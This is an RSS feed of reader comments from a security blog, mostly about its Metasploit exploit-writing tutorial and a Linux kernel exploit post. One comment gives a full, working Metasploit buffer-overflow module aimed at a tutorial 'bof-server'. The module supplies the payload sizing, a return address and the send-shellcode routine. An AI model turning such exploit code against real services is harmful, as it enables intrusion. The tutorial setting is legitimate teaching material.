<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comments for redstack</title>
	<atom:link href="http://redstack.net/blog/comments/feed/" rel="self" type="application/rss+xml" />
	<link>http://redstack.net/blog</link>
	<description>Pirates are way cooler than Ninjas, but not as much as Samuraïs</description>
	<lastBuildDate>Sun, 10 Jan 2010 17:13:30 +0100</lastBuildDate>
	<generator>http://wordpress.org/?v=2.8.5</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>Comment on Writing exploits for Metasploit 3.0 by matad0r</title>
		<link>http://redstack.net/blog/2008/01/24/writing-exploits-for-metasploit-30/comment-page-1/#comment-9595</link>
		<dc:creator>matad0r</dc:creator>
		<pubDate>Sun, 10 Jan 2010 17:13:30 +0000</pubDate>
		<guid isPermaLink="false">http://redstack.net/blog/index.php/2008/01/24/writing-exploits-for-metasploit-30.html#comment-9595</guid>
		<description>Hi !
Very very helpful tutorial !
Thanks !</description>
		<content:encoded><![CDATA[<p>Hi !<br />
Very very helpful tutorial !<br />
Thanks !</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Intel(r) switches backdoor by lampson</title>
		<link>http://redstack.net/blog/2008/05/19/intelr-switches-backdoor/comment-page-1/#comment-9241</link>
		<dc:creator>lampson</dc:creator>
		<pubDate>Mon, 21 Dec 2009 04:36:34 +0000</pubDate>
		<guid isPermaLink="false">http://redstack.net/blog/index.php/2008/05/19/intelr-switches-backdoor.html#comment-9241</guid>
		<description>Hi, can anybody send me a last firmware for intel express 460t, Thanks.

lampsonlam@hotmail.com</description>
		<content:encoded><![CDATA[<p>Hi, can anybody send me a last firmware for intel express 460t, Thanks.</p>
<p><a href="mailto:lampsonlam@hotmail.com">lampsonlam@hotmail.com</a></p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Linux kernel 2.6.31 perf_counter_open exploit by ties</title>
		<link>http://redstack.net/blog/2009/09/24/linux-kernel-2631-perf_counter_open-exploit/comment-page-1/#comment-8186</link>
		<dc:creator>ties</dc:creator>
		<pubDate>Sat, 31 Oct 2009 00:18:46 +0000</pubDate>
		<guid isPermaLink="false">http://redstack.net/blog/?p=70#comment-8186</guid>
		<description>Write more ! :(</description>
		<content:encoded><![CDATA[<p>Write more ! <img src='http://redstack.net/blog/wp-includes/images/smilies/icon_sad.gif' alt=':(' class='wp-smiley' /> </p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Linux kernel 2.6.31 perf_counter_open exploit by argp</title>
		<link>http://redstack.net/blog/2009/09/24/linux-kernel-2631-perf_counter_open-exploit/comment-page-1/#comment-7846</link>
		<dc:creator>argp</dc:creator>
		<pubDate>Sun, 18 Oct 2009 14:04:47 +0000</pubDate>
		<guid isPermaLink="false">http://redstack.net/blog/?p=70#comment-7846</guid>
		<description>Nice post.</description>
		<content:encoded><![CDATA[<p>Nice post.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Linux kernel 2.6.31 perf_counter_open exploit by core</title>
		<link>http://redstack.net/blog/2009/09/24/linux-kernel-2631-perf_counter_open-exploit/comment-page-1/#comment-7747</link>
		<dc:creator>core</dc:creator>
		<pubDate>Tue, 13 Oct 2009 21:41:32 +0000</pubDate>
		<guid isPermaLink="false">http://redstack.net/blog/?p=70#comment-7747</guid>
		<description>excellent writeup!</description>
		<content:encoded><![CDATA[<p>excellent writeup!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Linux kernel 2.6.31 perf_counter_open exploit by xipe</title>
		<link>http://redstack.net/blog/2009/09/24/linux-kernel-2631-perf_counter_open-exploit/comment-page-1/#comment-7708</link>
		<dc:creator>xipe</dc:creator>
		<pubDate>Sat, 10 Oct 2009 15:16:09 +0000</pubDate>
		<guid isPermaLink="false">http://redstack.net/blog/?p=70#comment-7708</guid>
		<description>Thank you Keen :)
- Xipe</description>
		<content:encoded><![CDATA[<p>Thank you Keen <img src='http://redstack.net/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /><br />
- Xipe</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Linux kernel 2.6.31 perf_counter_open exploit by Keen Observer</title>
		<link>http://redstack.net/blog/2009/09/24/linux-kernel-2631-perf_counter_open-exploit/comment-page-1/#comment-7707</link>
		<dc:creator>Keen Observer</dc:creator>
		<pubDate>Sat, 10 Oct 2009 06:16:50 +0000</pubDate>
		<guid isPermaLink="false">http://redstack.net/blog/?p=70#comment-7707</guid>
		<description>Also, credits should go to Silvio Cesare for being the first to use iret in 03, so there!</description>
		<content:encoded><![CDATA[<p>Also, credits should go to Silvio Cesare for being the first to use iret in 03, so there!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Linux kernel 2.6.31 perf_counter_open exploit by Keen Observer</title>
		<link>http://redstack.net/blog/2009/09/24/linux-kernel-2631-perf_counter_open-exploit/comment-page-1/#comment-7705</link>
		<dc:creator>Keen Observer</dc:creator>
		<pubDate>Sat, 10 Oct 2009 06:06:33 +0000</pubDate>
		<guid isPermaLink="false">http://redstack.net/blog/?p=70#comment-7705</guid>
		<description>Spender has always been out for glory, it&#039;s common news that he stole the whole grsecurity ideology, I mean -- a bug was discovered, and exploited over a week ago, and he scouts the internet for blogs that talk about it without giving credit to him and qaaz, funny how it&#039;s not qaaz that complains ;) --  Good work xipe, continue posting more, I&#039;m sure a lot of people congratulate your efforts.</description>
		<content:encoded><![CDATA[<p>Spender has always been out for glory, it&#8217;s common news that he stole the whole grsecurity ideology, I mean &#8212; a bug was discovered, and exploited over a week ago, and he scouts the internet for blogs that talk about it without giving credit to him and qaaz, funny how it&#8217;s not qaaz that complains <img src='http://redstack.net/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' />  &#8212;  Good work xipe, continue posting more, I&#8217;m sure a lot of people congratulate your efforts.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Writing exploits for Metasploit 3.0 by xipe</title>
		<link>http://redstack.net/blog/2008/01/24/writing-exploits-for-metasploit-30/comment-page-1/#comment-7616</link>
		<dc:creator>xipe</dc:creator>
		<pubDate>Tue, 29 Sep 2009 17:23:02 +0000</pubDate>
		<guid isPermaLink="false">http://redstack.net/blog/index.php/2008/01/24/writing-exploits-for-metasploit-30.html#comment-7616</guid>
		<description>Hi Elv13,

With metasploit 3.2, some things change concerning the class definition.
You should replace :
&lt;pre lang=&quot;ruby&quot;&gt;
require &#039;msf/core&#039;
module Msf
  # class name should reflect directories
  class Exploits::Windows::Dummy::BofServer &lt; Msf::Exploit::Remote
    include Exploit::Remote::Tcp
&lt;/pre&gt;
with :
&lt;pre lang=&quot;ruby&quot;&gt;
require &#039;msf/core&#039;

class Metasploit3 &lt; Msf::Exploit::Remote
        include Msf::Exploit::Remote::Tcp
&lt;/pre&gt;

So the new file would be:
&lt;pre lang=&quot;ruby&quot;&gt;
require &#039;msf/core&#039;
  # class name should reflect directories                                                                                                                                                                                                                                              
  class Metasploit3 &lt; Msf::Exploit::Remote
    include Msf::Exploit::Remote::Tcp
 
    # exploit relative informations
    def initialize(info = {})
      super(update_info(info,
                        &#039;Name&#039;           =&gt; &#039;bof-server exploit&#039;,
                        &#039;Description&#039;    =&gt; &#039;This is an exploit for bof-server v0.01&#039;,
                        &#039;Author&#039;         =&gt; &#039;xipe&#039;, # You ;)
                        &#039;Version&#039;        =&gt; &#039;1.0&#039;,
                        &#039;Payload&#039;        =&gt;
                        {
                          &#039;Space&#039;    =&gt; 500, # Space that payload can use.
                                             # We found that we needed 520 bytes to make the
                                             # bof-server crash, but we will only use 500, as
                                             # the end of this space can be modified by the target
                                             # before returning.
                          &#039;StackAdjustment&#039; =&gt; -3500, # Modify stack pointer at shellcode start
                                                      # so it can use the stack without writing
                                                      # on itself.
                          &#039;BadChars&#039; =&gt; &quot;\x00\x20\x0D\x0A&quot;, # Chars that payloads should not
                                                            # contains.
                        },
                        &#039;Platform&#039;   =&gt; &#039;win&#039;,
                        &#039;Targets&#039;    =&gt;
                        [
                         [ &#039;Windows XP SP2 English&#039;,
                             {
                               &#039;Platform&#039; =&gt;&#039;win&#039;,
                               &#039;Ret&#039; =&gt; 0x22fb65 # Return address.                                                                                                                                                                                                                     
                             }
                          ],
                        ],
                        &#039;DefaultTarget&#039; =&gt; 0))
    end
 
    def check
      # Here we should check if the target is vulnerable                                                                                                                                                                                                                               
      # This function should not crash the target                                                                                                                                                                                                                                      
      connect
      buf = &quot;version\n&quot;
      sock.put(buf)
      res = sock.get
      disconnect
      if res =~ /bof-server v0.01/
        return Exploit::CheckCode::Vulnerable
      end
      return Exploit::CheckCode::Safe
    end
 
    def exploit
      # Here we should exploit the target 
      connect
      buf = payload.encoded # Size of the payload is defined by Payload.Space in exploit infos.
      buf &lt;&lt; make_nops(20) # Some more bytes, as we defined the payload to be 500 bytes long
      buf &lt;&lt; [target.ret].pack(&#039;V&#039;) # Return address
      sock.put(buf) # send data
      sock.get
      handler # pass the connection to the payload handler
      disconnect
    end
end
&lt;/pre&gt;

Best regards,
- Xipe</description>
		<content:encoded><![CDATA[<p>Hi Elv13,</p>
<p>With metasploit 3.2, some things change concerning the class definition.<br />
You should replace :</p>

<div class="wp_syntax"><div class="code"><pre class="ruby" style="font-family:monospace;"><span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">'msf/core'</span>
<span style="color:#9966CC; font-weight:bold;">module</span> Msf
  <span style="color:#008000; font-style:italic;"># class name should reflect directories</span>
  <span style="color:#9966CC; font-weight:bold;">class</span> <span style="color:#6666ff; font-weight:bold;">Exploits::Windows::Dummy::BofServer</span> <span style="color:#006600; font-weight:bold;">&lt;</span> <span style="color:#6666ff; font-weight:bold;">Msf::Exploit::Remote</span>
    <span style="color:#9966CC; font-weight:bold;">include</span> <span style="color:#6666ff; font-weight:bold;">Exploit::Remote::Tcp</span></pre></div></div>

<p>with :</p>

<div class="wp_syntax"><div class="code"><pre class="ruby" style="font-family:monospace;"><span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">'msf/core'</span>
&nbsp;
<span style="color:#9966CC; font-weight:bold;">class</span> Metasploit3 <span style="color:#006600; font-weight:bold;">&lt;</span> <span style="color:#6666ff; font-weight:bold;">Msf::Exploit::Remote</span>
        <span style="color:#9966CC; font-weight:bold;">include</span> <span style="color:#6666ff; font-weight:bold;">Msf::Exploit::Remote::Tcp</span></pre></div></div>

<p>So the new file would be:</p>

<div class="wp_syntax"><div class="code"><pre class="ruby" style="font-family:monospace;"><span style="color:#CC0066; font-weight:bold;">require</span> <span style="color:#996600;">'msf/core'</span>
  <span style="color:#008000; font-style:italic;"># class name should reflect directories                                                                                                                                                                                                                                              </span>
  <span style="color:#9966CC; font-weight:bold;">class</span> Metasploit3 <span style="color:#006600; font-weight:bold;">&lt;</span> <span style="color:#6666ff; font-weight:bold;">Msf::Exploit::Remote</span>
    <span style="color:#9966CC; font-weight:bold;">include</span> <span style="color:#6666ff; font-weight:bold;">Msf::Exploit::Remote::Tcp</span>
&nbsp;
    <span style="color:#008000; font-style:italic;"># exploit relative informations</span>
    <span style="color:#9966CC; font-weight:bold;">def</span> initialize<span style="color:#006600; font-weight:bold;">&#40;</span>info = <span style="color:#006600; font-weight:bold;">&#123;</span><span style="color:#006600; font-weight:bold;">&#125;</span><span style="color:#006600; font-weight:bold;">&#41;</span>
      <span style="color:#9966CC; font-weight:bold;">super</span><span style="color:#006600; font-weight:bold;">&#40;</span>update_info<span style="color:#006600; font-weight:bold;">&#40;</span>info,
                        <span style="color:#996600;">'Name'</span>           <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">'bof-server exploit'</span>,
                        <span style="color:#996600;">'Description'</span>    <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">'This is an exploit for bof-server v0.01'</span>,
                        <span style="color:#996600;">'Author'</span>         <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">'xipe'</span>, <span style="color:#008000; font-style:italic;"># You ;)</span>
                        <span style="color:#996600;">'Version'</span>        <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">'1.0'</span>,
                        <span style="color:#996600;">'Payload'</span>        <span style="color:#006600; font-weight:bold;">=&gt;</span>
                        <span style="color:#006600; font-weight:bold;">&#123;</span>
                          <span style="color:#996600;">'Space'</span>    <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006666;">500</span>, <span style="color:#008000; font-style:italic;"># Space that payload can use.</span>
                                             <span style="color:#008000; font-style:italic;"># We found that we needed 520 bytes to make the</span>
                                             <span style="color:#008000; font-style:italic;"># bof-server crash, but we will only use 500, as</span>
                                             <span style="color:#008000; font-style:italic;"># the end of this space can be modified by the target</span>
                                             <span style="color:#008000; font-style:italic;"># before returning.</span>
                          <span style="color:#996600;">'StackAdjustment'</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006600; font-weight:bold;">-</span><span style="color:#006666;">3500</span>, <span style="color:#008000; font-style:italic;"># Modify stack pointer at shellcode start</span>
                                                      <span style="color:#008000; font-style:italic;"># so it can use the stack without writing</span>
                                                      <span style="color:#008000; font-style:italic;"># on itself.</span>
                          <span style="color:#996600;">'BadChars'</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">&quot;<span style="color:#000099;">\x</span>00<span style="color:#000099;">\x</span>20<span style="color:#000099;">\x</span>0D<span style="color:#000099;">\x</span>0A&quot;</span>, <span style="color:#008000; font-style:italic;"># Chars that payloads should not</span>
                                                            <span style="color:#008000; font-style:italic;"># contains.</span>
                        <span style="color:#006600; font-weight:bold;">&#125;</span>,
                        <span style="color:#996600;">'Platform'</span>   <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#996600;">'win'</span>,
                        <span style="color:#996600;">'Targets'</span>    <span style="color:#006600; font-weight:bold;">=&gt;</span>
                        <span style="color:#006600; font-weight:bold;">&#91;</span>
                         <span style="color:#006600; font-weight:bold;">&#91;</span> <span style="color:#996600;">'Windows XP SP2 English'</span>,
                             <span style="color:#006600; font-weight:bold;">&#123;</span>
                               <span style="color:#996600;">'Platform'</span> <span style="color:#006600; font-weight:bold;">=&gt;</span><span style="color:#996600;">'win'</span>,
                               <span style="color:#996600;">'Ret'</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> 0x22fb65 <span style="color:#008000; font-style:italic;"># Return address.                                                                                                                                                                                                                     </span>
                             <span style="color:#006600; font-weight:bold;">&#125;</span>
                          <span style="color:#006600; font-weight:bold;">&#93;</span>,
                        <span style="color:#006600; font-weight:bold;">&#93;</span>,
                        <span style="color:#996600;">'DefaultTarget'</span> <span style="color:#006600; font-weight:bold;">=&gt;</span> <span style="color:#006666;">0</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span>
    <span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
    <span style="color:#9966CC; font-weight:bold;">def</span> check
      <span style="color:#008000; font-style:italic;"># Here we should check if the target is vulnerable                                                                                                                                                                                                                               </span>
      <span style="color:#008000; font-style:italic;"># This function should not crash the target                                                                                                                                                                                                                                      </span>
      connect
      buf = <span style="color:#996600;">&quot;version<span style="color:#000099;">\n</span>&quot;</span>
      sock.<span style="color:#9900CC;">put</span><span style="color:#006600; font-weight:bold;">&#40;</span>buf<span style="color:#006600; font-weight:bold;">&#41;</span>
      res = sock.<span style="color:#9900CC;">get</span>
      disconnect
      <span style="color:#9966CC; font-weight:bold;">if</span> res =~ <span style="color:#006600; font-weight:bold;">/</span>bof<span style="color:#006600; font-weight:bold;">-</span>server v0.01<span style="color:#006600; font-weight:bold;">/</span>
        <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#6666ff; font-weight:bold;">Exploit::CheckCode::Vulnerable</span>
      <span style="color:#9966CC; font-weight:bold;">end</span>
      <span style="color:#0000FF; font-weight:bold;">return</span> <span style="color:#6666ff; font-weight:bold;">Exploit::CheckCode::Safe</span>
    <span style="color:#9966CC; font-weight:bold;">end</span>
&nbsp;
    <span style="color:#9966CC; font-weight:bold;">def</span> exploit
      <span style="color:#008000; font-style:italic;"># Here we should exploit the target </span>
      connect
      buf = payload.<span style="color:#9900CC;">encoded</span> <span style="color:#008000; font-style:italic;"># Size of the payload is defined by Payload.Space in exploit infos.</span>
      buf <span style="color:#006600; font-weight:bold;">&lt;&lt;</span> make_nops<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006666;">20</span><span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#008000; font-style:italic;"># Some more bytes, as we defined the payload to be 500 bytes long</span>
      buf <span style="color:#006600; font-weight:bold;">&lt;&lt;</span> <span style="color:#006600; font-weight:bold;">&#91;</span>target.<span style="color:#9900CC;">ret</span><span style="color:#006600; font-weight:bold;">&#93;</span>.<span style="color:#9900CC;">pack</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#996600;">'V'</span><span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#008000; font-style:italic;"># Return address</span>
      sock.<span style="color:#9900CC;">put</span><span style="color:#006600; font-weight:bold;">&#40;</span>buf<span style="color:#006600; font-weight:bold;">&#41;</span> <span style="color:#008000; font-style:italic;"># send data</span>
      sock.<span style="color:#9900CC;">get</span>
      handler <span style="color:#008000; font-style:italic;"># pass the connection to the payload handler</span>
      disconnect
    <span style="color:#9966CC; font-weight:bold;">end</span>
<span style="color:#9966CC; font-weight:bold;">end</span></pre></div></div>

<p>Best regards,<br />
- Xipe</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comment on Writing exploits for Metasploit 3.0 by Elv13</title>
		<link>http://redstack.net/blog/2008/01/24/writing-exploits-for-metasploit-30/comment-page-1/#comment-7614</link>
		<dc:creator>Elv13</dc:creator>
		<pubDate>Tue, 29 Sep 2009 15:48:12 +0000</pubDate>
		<guid isPermaLink="false">http://redstack.net/blog/index.php/2008/01/24/writing-exploits-for-metasploit-30.html#comment-7614</guid>
		<description>Hi, I try to use this exploit, but always fail with this error:
/opt/metasploit/framework-3.2/modules/exploits/linux/dummy/bof-server.rb: NameError /opt/metasploit/framework-3.2/data/msfweb/vendor/rails/activerecord/lib/../../activesupport/lib/active_support/dependencies.rb:116:in `qualified_const_defined?&#039;: &quot;#::Msf&quot; is not a valid constant name!

I use metasploit from Linux and ported your C code to Linux without much trouble. It seem to work (server crash normally), but I am not able to launch the exploit. I also installed bufserver on windows and try to hack it from Linux, but I fail too. Whats wrong?</description>
		<content:encoded><![CDATA[<p>Hi, I try to use this exploit, but always fail with this error:<br />
/opt/metasploit/framework-3.2/modules/exploits/linux/dummy/bof-server.rb: NameError /opt/metasploit/framework-3.2/data/msfweb/vendor/rails/activerecord/lib/../../activesupport/lib/active_support/dependencies.rb:116:in `qualified_const_defined?&#8217;: &#8220;#::Msf&#8221; is not a valid constant name!</p>
<p>I use metasploit from Linux and ported your C code to Linux without much trouble. It seem to work (server crash normally), but I am not able to launch the exploit. I also installed bufserver on windows and try to hack it from Linux, but I fail too. Whats wrong?</p>
]]></content:encoded>
	</item>
</channel>
</rss>
